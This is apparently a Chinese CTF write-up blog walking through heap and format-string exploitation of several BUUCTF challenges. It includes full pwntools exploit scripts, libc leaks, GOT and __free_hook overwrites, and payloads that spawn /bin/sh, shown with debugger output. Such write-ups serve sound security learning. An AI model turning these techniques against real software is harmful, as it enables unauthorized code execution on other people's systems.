pwndbg> x/30gx 0x7ff0e8aa9b20 - 0x33 - 5
0x7ff0e8aa9ae8 <_IO_wide_data_0+296>: 0x0000000000000000 0x00007ff0e8aa8260
0x7ff0e8aa9af8: 0xffffd5a9b8249529 0x00007ff0e876aea0
0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e876aa70 0x0000000000000000
0x7ff0e8aa9b18: 0x0000000000000000 0x0000000100000000

4.覆写__malloc_hook

用gadget覆写malloc_hook,为了调节栈帧(参考博客),还覆写realloc_hook。

  • realloc_hook => one_gadget
  • malloc_hook => realloc_hook + 0x10
1
2
pwndbg> x/30gx 0x7ff0e8aa9b0d - 5
0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e872a27a 0x00007ff0e8769720
1
2
3
4
5
6
7
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']

one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
realloc_data = one_gadget[1] + libc_base
malloc_data = realloc + 0x10
add(0x18,'aaaaaaaa' + p64(realloc_data) + p64(malloc_data))

5.malloc => getshell

执行一次malloc操作,即可get shell

1
2
3
4
p.recvuntil("puts")
p.sendline(str(1))
p.recvuntil("size")
p.sendline(str(24))

总结

  1. 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
  2. house of force
  3. realloc调节栈帧

参考 & 下载

参考博客:

下载:

文件
文件
LIBC

wdb_2018_2nd_easyfmt详解

自己做出来了,,,,还看其他人的

参考:wdb_2018_2nd_easyfmt)

程序流程

程序流程非常简单,可以一直进行格式化字符串漏洞。

image-20210425225434398

漏洞利用

  1. 首先通过格式化字符串泄露栈信息
  2. 通过格式化字符串修改printf_got表为system(one_gadget本地打通了,远程没有,,)
  3. 发送“/bin/sh\x00”,

详细过程

0.查看基本信息

32位程序,只开了nx

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/buu$ file wdb_2018_2nd_easyfmt 
wdb_2018_2nd_easyfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f86851c3576d0aabf0b0b2310d835d0f6e660eb8, not stripped
winter@ubuntu:~/buu$ checksec wdb_2018_2nd_easyfmt
[*] '/home/winter/buu/wdb_2018_2nd_easyfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

格式化字符串,偏移为6

image-20210425233348293

1.泄露信息

方法一:栈上数据

可以直接查看栈上的信息进行泄露

1
2
3
4
5
6
7
8
pwndbg> stack 30
00:0000│ esp 0xffffcfbc —▸ 0x80485cf (main+132) ◂— add esp, 0x10
01:0004│ 0xffffcfc0 —▸ 0xffffcfd8 ◂— 'aaaa\n'
... ↓
03:000c│ 0xffffcfc8 ◂— 0x64 /* 'd' */
04:0010│ 0xffffcfcc —▸ 0xf7e9379b (handle_intel+107) ◂— add esp, 0x10 #libc中的数据,计算偏移即可得到libc基址
05:0014│ 0xffffcfd0 —▸ 0xffffcffe —▸ 0xffff0000 ◂— 0x0
06:0018│ 0xffffcfd4 —▸ 0xffffd0fc —▸ 0xffffd2e9 ◂— 'XDG_VTNR=7'
1
2
3
4
5
6
7
8
9
p.recvuntil("Do you know repeater?")
payload = "%3$p"
p.sendline(payload)
handle_intel_107 = p.recvuntil("f7")[-2:]
handle_intel_107 += p.recv(8)
handle_intel_107 = int(handle_intel_107,16)
log.success(hex(handle_intel_107))

#[+] 0xf7e658fb

通过脚本输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt
0x8049000 0x804a000 r--p 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt
0x804a000 0x804b000 rw-p 1000 1000 /home/winter/buu/wdb_2018_2nd_easyfmt
0xf7dd5000 0xf7dd6000 rw-p 1000 0
0xf7dd6000 0xf7f83000 r-xp 1ad000 0 /home/winter/buu/libc-2.23-32.so
0xf7f83000 0xf7f84000 ---p 1000 1ad000 /home/winter/buu/libc-2.23-32.so
0xf7f84000 0xf7f86000 r--p 2000 1ad000 /home/winter/buu/libc-2.23-32.so
0xf7f86000 0xf7f87000 rw-p 1000 1af000 /home/winter/buu/libc-2.23-32.so
0xf7f87000 0xf7f8b000 rw-p 4000 0
0xf7f8b000 0xf7f8e000 r--p 3000 0 [vvar]
0xf7f8e000 0xf7f90000 r-xp 2000 0 [vdso]
0xf7f90000 0xf7fb3000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7fb3000 0xf7fb4000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7fb4000 0xf7fb5000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xff999000 0xff9ba000 rw-p 21000 0 [stack]

计算偏移为:0xf7e658fb - 0xf7dd6000 = 0x8F8FB

故可以得到libc_base

1
2
libc_base = handle_intel_107 - 0x8f8fb - 0x20	#0x20是因为远程的时候,发现好像有0x20的偏移,一般libc_base是000结尾,但是原来是020结尾,故猜测还要再减去0x20
log.success(hex(libc_base))
方法二:直接泄露got表信息(方便)
1
2
3
4
5
6
p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']

因为偏移是6,所以直接输入printf_got,输出该地址内容时候,就泄露了printf的地址。

2.格式化字符串写printf_got

利用pwntool的工具来做

1
2
3
4
5
system = libc_base + libc.sym['system']
printf_got = elf.got['printf']

payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
1
2
pwndbg> x/30wx 0x804a014
0x804a014: 0xf7e3a940 0xf7e5f140 0xf7e18540 0xf7e60da0
1
2
pwndbg> x/30wx 0xf7e3a940
0xf7e3a940 <system>: 0x8b0cec83 0xe8102444 0x000e2941 0x56b4c281

3.发送”/bin/sh\x00”字符串

1
p.sendline("/bin/sh\x00")

执行printf(&buf); => system(“/bin/sh\x00”)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

# p = process("./wdb_2018_2nd_easyfmt")
p=process(['./wdb_2018_2nd_easyfmt'],env={"LD_PRELOAD":"/home/winter/buu/libc-2.23-32.so"})
p=remote("node3.buuoj.cn",25745)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./wdb_2018_2nd_easyfmt")
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

libc = ELF("/home/winter/buu/libc-2.23-32.so")

# p.recvuntil("Do you know repeater?")
# payload = "%3$p"
# p.sendline(payload)
# handle_intel_107 = p.recvuntil("f7")[-2:]
# handle_intel_107 += p.recv(8)
# handle_intel_107 = int(handle_intel_107,16)
# log.success(hex(handle_intel_107))

# libc_base = handle_intel_107 - 0x8f8fb - 0x20 #direct sub
# log.success(hex(libc_base))
p.recvuntil("Do you know repeater?")
payload = p32(elf.got['printf']) + "%6$s"
p.sendline(payload)
printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']

system = libc_base + libc.sym['system']
printf_got = elf.got['printf']
offset = 6
log.success(hex(printf_got))
payload = fmtstr_payload(offset,{printf_got:system})
p.sendline(payload)
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()

关于axb_2019_heap的详解

参考:buuctf axb_2019_heap

程序流程

  1. banner:存在格式化字符串漏洞,可以泄漏栈上的信息

  2. add:根据idx创建size(大于0x80)大小的内容为content的块

    块指针和块大小存放在一个全局变量note中

  3. delete:释放的很干净,没有uaf

  4. edit:存在off by one

    get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));

    if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度,a2是给定的长度,存在一个字节的溢出

调试

这个程序没有保留调试信息,不能调试,只能一步步看,,,

GDB调试指南

1
Reading symbols from axb_2019_heap...(no debugging symbols found)...done.

漏洞利用

  1. 利用格式化字符串泄露栈上信息

    • __libc_start_main+240 => libc基地址

    • (main) ◂— push rbp => 程序基地址

  2. 由于存在全局变量note,故可以利用unlink控制chunk指针

  3. 修改__free_hook为system,get shell

详细过程

1.格式化字符串

计算偏移:直接算或者用工具 => 得到偏移为7

image-20210425142716133

执行到printf(&format);

1
2
3
► 0x555555554b4e <banner+105>    call   printf@plt <printf@plt>
format: 0x7fffffffde4c ◂— 'aaaaaaaa'
vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> stack 30
00:0000│ rsp 0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4 0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│ 0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */ #输入的数据
03:0018│ 0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp 0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov eax, 0
06:0030│ 0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│ 0x7fffffffde78 ◂— 0x0
08:0040│ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
09:0048│ 0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax #可以泄露libc_base
0a:0050│ 0x7fffffffde90 ◂— 0x1
0b:0058│ 0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│ 0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│ 0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push rbp #main起始地址,可以泄露程序基地址

所以__libc_start_main+240的偏移为15,main的偏移为19。

通过计算即可得到libc_base和程序基地址(开启了pie,每次都不一样)

1
2
3
4
5
6
7
8
9
10
11
12
p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))

libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))

首先计算note地址 = 程序基地址 + note偏移 => note = pro_base + 0x0202060

接着申请三个块,0x98大小(方便修改下一个chunk)

  • 第一个chunk:构造fake chunk
  • 第二个chunk:用于释放,unlink
  • 第三个chunk:防止第二个chunk和top chunk合并
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55830d656000
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55830d6560a0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55830d656140
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x55830d6561e0
Size: 0x20e21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/50gx 0x55830d656000
0x55830d656000: 0x0000000000000000 0x00000000000000a1
0x55830d656010: 0x0000000061616161 0x0000000000000000
0x55830d656020: 0x0000000000000000 0x0000000000000000
0x55830d656030: 0x0000000000000000 0x0000000000000000
0x55830d656040: 0x0000000000000000 0x0000000000000000
0x55830d656050: 0x0000000000000000 0x0000000000000000
0x55830d656060: 0x0000000000000000 0x0000000000000000
0x55830d656070: 0x0000000000000000 0x0000000000000000
0x55830d656080: 0x0000000000000000 0x0000000000000000
0x55830d656090: 0x0000000000000000 0x0000000000000000
0x55830d6560a0: 0x0000000000000000 0x00000000000000a1
0x55830d6560b0: 0x0000000062626262 0x0000000000000000
0x55830d6560c0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
pwndbg> x/30gx 0x55830ca49060
0x55830ca49060 <note>: 0x000055830d656010 0x0000000000000098
0x55830ca49070 <note+16>: 0x000055830d6560b0 0x0000000000000098
0x55830ca49080 <note+32>: 0x000055830d656150 0x0000000000000098
0x55830ca49090 <note+48>: 0x0000000000000000 0x0000000000000000
1
2
3
add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')

通过第一个chunk构造,并off by one修改第二个chunk的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e000
Size: 0xa1

Allocated chunk
Addr: 0x55d2cb54e0a0
Size: 0xa0 #修改标志位,表示上一个chunk被释放

Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e140
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x55d2cb54e1e0
Size: 0x20e21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/30gx 0x55d2cb54e000
0x55d2cb54e000: 0x0000000000000000 0x00000000000000a1 #第一个chunk
0x55d2cb54e010: 0x0000000000000000 0x0000000000000090 #fake chunk
0x55d2cb54e020: 0x000055d2cb00d048 0x000055d2cb00d050 #fd、bk
0x55d2cb54e030: 0x6161616161616161 0x6161616161616161
0x55d2cb54e040: 0x6161616161616161 0x6161616161616161
0x55d2cb54e050: 0x6161616161616161 0x6161616161616161
0x55d2cb54e060: 0x6161616161616161 0x6161616161616161
0x55d2cb54e070: 0x6161616161616161 0x6161616161616161
0x55d2cb54e080: 0x6161616161616161 0x6161616161616161
0x55d2cb54e090: 0x6161616161616161 0x6161616161616161
0x55d2cb54e0a0: 0x0000000000000090 0x00000000000000a0 #pre_size = 0x90,size = 0xa0
0x55d2cb54e0b0: 0x0000000062626262 0x0000000000000000
0x55d2cb54e0c0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
note = pro_base + 0x0202060
payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))

释放第二个chunk,造成unlink,target = target - 0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#没变化
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55682bfdf000
Size: 0xa1

Allocated chunk
Addr: 0x55682bfdf0a0
Size: 0xa0

Allocated chunk
Addr: 0x55682bfdf140
Size: 0xa0

Top chunk | PREV_INUSE
Addr: 0x55682bfdf1e0
Size: 0x20e21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/30gx 0x55682bfdf000
0x55682bfdf000: 0x0000000000000000 0x00000000000000a1
0x55682bfdf010: 0x0000000000000000 0x0000000000000131 #合并了,大小为0x90 + 0xa0
0x55682bfdf020: 0x00007fea30ac5b78 0x00007fea30ac5b78
0x55682bfdf030: 0x6161616161616161 0x6161616161616161
0x55682bfdf040: 0x6161616161616161 0x6161616161616161
0x55682bfdf050: 0x6161616161616161 0x6161616161616161
0x55682bfdf060: 0x6161616161616161 0x6161616161616161
0x55682bfdf070: 0x6161616161616161 0x6161616161616161
0x55682bfdf080: 0x6161616161616161 0x6161616161616161
0x55682bfdf090: 0x6161616161616161 0x6161616161616161
0x55682bfdf0a0: 0x0000000000000090 0x00000000000000a0
0x55682bfdf0b0: 0x0000000062626262 0x0000000000000000
0x55682bfdf0c0: 0x0000000000000000 0x0000000000000000
1
2
3
4
pwndbg> x/30gx 0x55682b44c060
0x55682b44c060 <note>: 0x000055682b44c048 0x0000000000000098#target = target - 0x18
0x55682b44c070 <note+16>: 0x0000000000000000 0x0000000000000000
0x55682b44c080 <note+32>: 0x000055682bfdf150 0x0000000000000098
1
dele(1)

3.修改__free_hook为system

通过第一个chunk,覆盖第一个chunk的指针指向__free_hook的地址

设置第二个chunk为参数“/bin/sh\x00”,只要让chunk2指向后面的地址,在上面的地址布置上字符串即可。

1
2
3
4
5
pwndbg> x/30gx 0x55cbe5291060
0x55cbe5291060 <note>: 0x00007f962216f7a8 0x0000000000000098 #__free_hook地址
0x55cbe5291070 <note+16>: 0x000055cbe5291078 0x0068732f6e69622f #binsh地址 binsh字符串
0x55cbe5291080 <note+32>: 0x000055cbe5975100 0x0000000000000098
0x55cbe5291090 <note+48>: 0x0000000000000000 0x0000000000000000
1
2
pwndbg> x/30gx 0x00007f962216f7a8
0x7f962216f7a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)

第一个chunk指向__free_hook,往chunk1填入数据就是往__free_hook填入数据,修改其为system地址。

1
2
3
4
pwndbg> x/30gx 0x5578fc638060
0x5578fc638060 <note>: 0x00007f909293e7a8 0x0000000000000098
0x5578fc638070 <note+16>: 0x00005578fc638078 0x0068732f6e69622f
0x5578fc638080 <note+32>: 0x00005578fd63e100 0x0000000000000098
1
2
pwndbg> x/30gx 0x00007f909293e7a8
0x7f909293e7a8 <__free_hook>: 0x00007f90925bd3a0
1
2
pwndbg> x/30gx 0x00007f90925bd3a0
0x7f90925bd3a0 <__libc_system>: 0xfa86e90b74ff8548
1
edit(0,p64(system))

最后,释放第二个chunk即可执行free(2) => system(“/bin/sh\x00”)

1
dele(1)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

p = process("./axb_2019_heap")
# p=remote("node3.buuoj.cn",28733)
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# libc = ELF("./libc-2.23.so")

def cmd(choice):
p.recvuntil(">> ")
p.sendline(str(choice))

def add(idx,size,content):
cmd(1)
p.recvuntil("to create (0-10):")
p.sendline(str(idx))
p.recvuntil("Enter a size:")
p.sendline(str(size))
p.recvuntil("Enter the content:")
p.sendline(content)

def dele(idx):
cmd(2)
p.recvuntil("Enter an index:")
p.sendline(str(idx))

def edit(idx,content):
cmd(4)
p.recvuntil("Enter an index:")
p.sendline(str(idx))
p.recvuntil("Enter the content: ")
p.sendline(content)

p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)

main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))

libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))

system = libc_base + libc.sym['system']
note = pro_base + 0x0202060


add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
print(hex(note))

fd = note - 0x18
bk = note - 0x10

payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))
dele(1)


free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)

edit(0,p64(system))

print(hex(note))
gdb.attach(p)
pause()
dele(1)

p.interactive()

组合拳,题型:fmt + off by one + unlink

off by one的题,,,

参考视频:off by one + 改got表的heap做法 例题:npuctf_2020_easyheap

程序流程

  1. create:

    申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)

  2. edit:

    read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);

    存在off by one

  3. show:根据idx,打印chunk大小和内容

  4. delete:free后,将chunk指针置零了。

漏洞利用

利用off by one,可以修改下一个chunk头指针的大小。

例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。

溢出修改chunk1指针为free_got表,泄露地址,计算system

修改chunk内容从而,修改got表内容为system

在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system(“/bin/sh\x00”)

1.查看保护

Partial RELRO => 可以修改got表

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap
[*] '/home/winter/buu/npuctf_2020_easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.申请两个0x18的块

一共生成了四个chunk,两个heaparray,两个存在内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1560000
Size: 0x251

#chunk0 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560250
Size: 0x21

#chunk0 data
Allocated chunk | PREV_INUSE
Addr: 0x1560270
Size: 0x21

#chunk1 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560290
Size: 0x21

#chunk1 data
Allocated chunk | PREV_INUSE
Addr: 0x15602b0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x15602d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x1560250
0x1560250: 0x0000000000000000 0x0000000000000021
0x1560260: 0x0000000000000018 0x0000000001560280
0x1560270: 0x0000000000000000 0x0000000000000021
0x1560280: 0x0000000a61616161 0x0000000000000000
0x1560290: 0x0000000000000000 0x0000000000000021
0x15602a0: 0x0000000000000018 0x00000000015602c0
0x15602b0: 0x0000000000000000 0x0000000000000021
0x15602c0: 0x0000000a61616161 0x0000000000000000
0x15602d0: 0x0000000000000000 0x0000000000020d31
0x15602e0: 0x0000000000000000 0x0000000000000000
0x15602f0: 0x0000000000000000 0x0000000000000000

3.通过chunk0 off by one

修改chunk0的内容,首先放入接下来用的参数。

然后溢出一个字节,修改chunk1 heaparray的大小为0x41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1327000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x1327250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x13272d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x1327250
0x1327250: 0x0000000000000000 0x0000000000000021
0x1327260: 0x0000000000000018 0x0000000001327280
0x1327270: 0x0000000000000000 0x0000000000000021
0x1327280: 0x0068732f6e69622f 0x0000000000000000 #"/bin/sh\x00"
0x1327290: 0x0000000000000000 0x0000000000000041 #溢出一个字节
0x13272a0: 0x0000000000000018 0x00000000013272c0
0x13272b0: 0x0000000000000000 0x0000000000000021
0x13272c0: 0x0000000a61616161 0x0000000000000000
0x13272d0: 0x0000000000000000 0x0000000000020d31
0x13272e0: 0x0000000000000000 0x0000000000000000
0x13272f0: 0x0000000000000000 0x0000000000000000

存放所有的heaparay指针,有两个

1
2
3
4
5
6
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x0000000000bf0260 0x0000000000bf02c0
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000

4.释放chunk1

chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x21d9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x21d9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x21d9270
Size: 0x21

Free chunk (tcache) | PREV_INUSE
Addr: 0x21d9290
Size: 0x41
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x21d92d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x21d9250
0x21d9250: 0x0000000000000000 0x0000000000000021
0x21d9260: 0x0000000000000018 0x00000000021d9280
0x21d9270: 0x0000000000000000 0x0000000000000021
0x21d9280: 0x0068732f6e69622f 0x0000000000000000
0x21d9290: 0x0000000000000000 0x0000000000000041
0x21d92a0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92b0: 0x0000000000000000 0x0000000000000021
0x21d92c0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92d0: 0x0000000000000000 0x0000000000020d31
0x21d92e0: 0x0000000000000000 0x0000000000000000
0x21d92f0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x00000000021d9260 0x0000000000000000 #另一个被清零了
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000

5.重新申请0x38的块

再次申请,会把之前释放的0x41和0x21重新申请回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbf0000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbf0250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0290
Size: 0x41

#找不到下一个,,,但是在

Top chunk | PREV_INUSE
Addr: 0xbf02d0
Size: 0x20d31

6.通过0x41的块,溢出覆盖0x21的块

但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk

但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0xbf0250
0xbf0250: 0x0000000000000000 0x0000000000000021
0xbf0260: 0x0000000000000018 0x0000000000bf0280
0xbf0270: 0x0000000000000000 0x0000000000000021
0xbf0280: 0x0068732f6e69622f 0x0000000000000000
0xbf0290: 0x0000000000000000 0x0000000000000041
0xbf02a0: 0x6161616161616161 0x6161616161616161
0xbf02b0: 0x6161616161616161 0x6161616161616161
0xbf02c0: 0x0000000000000038 0x0000000000602018#free_got
0xbf02d0: 0x000000000000000a 0x0000000000020d31
0xbf02e0: 0x0000000000000000 0x0000000000000000
0xbf02f0: 0x0000000000000000 0x0000000000000000
1
2
3
4
[DEBUG] Received 0x15d bytes:
00000000 53 69 7a 65 20 3a 20 35 36 0a 43 6f 6e 74 65 6e │Size│ : 5│6·Co│nten│
00000010 74 20 3a 20 30 ba fd 89 0a 7f 0a 44 6f 6e 65 21 │t : │0···│···D│one!│
#泄露到了free的地址
1
2
3
show(1)

free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

7.修改free_got表为system地址

此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbb9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbb9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0xbb92d0
Size: 0x20d31
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0xbb9250
0xbb9250: 0x0000000000000000 0x0000000000000021
0xbb9260: 0x0000000000000018 0x0000000000bb9280
0xbb9270: 0x0000000000000000 0x0000000000000021
0xbb9280: 0x0068732f6e69622f 0x0000000000000000
0xbb9290: 0x0000000000000000 0x0000000000000041
0xbb92a0: 0x6161616161616161 0x6161616161616161
0xbb92b0: 0x6161616161616161 0x6161616161616161
0xbb92c0: 0x0000000000000038 0x0000000000602018#chunk1指针->free_got->system
0xbb92d0: 0x000000000000000a 0x0000000000020d31
0xbb92e0: 0x0000000000000000 0x0000000000000000
0xbb92f0: 0x0000000000000000 0x0000000000000000
1
2
pwndbg> x/30gx 0x0000000000602018
0x602018: 0x00007fcb5dae9550 0x000000000040060a
1
2
pwndbg> x/30gx 0x00007fcb5dae9550
0x7fcb5dae9550 <__libc_system>: 0xfa66e90b74ff8548 0x0000441f0f66ffff

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node3.buuoj.cn",29535)
context.log_level = 'debug'

elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
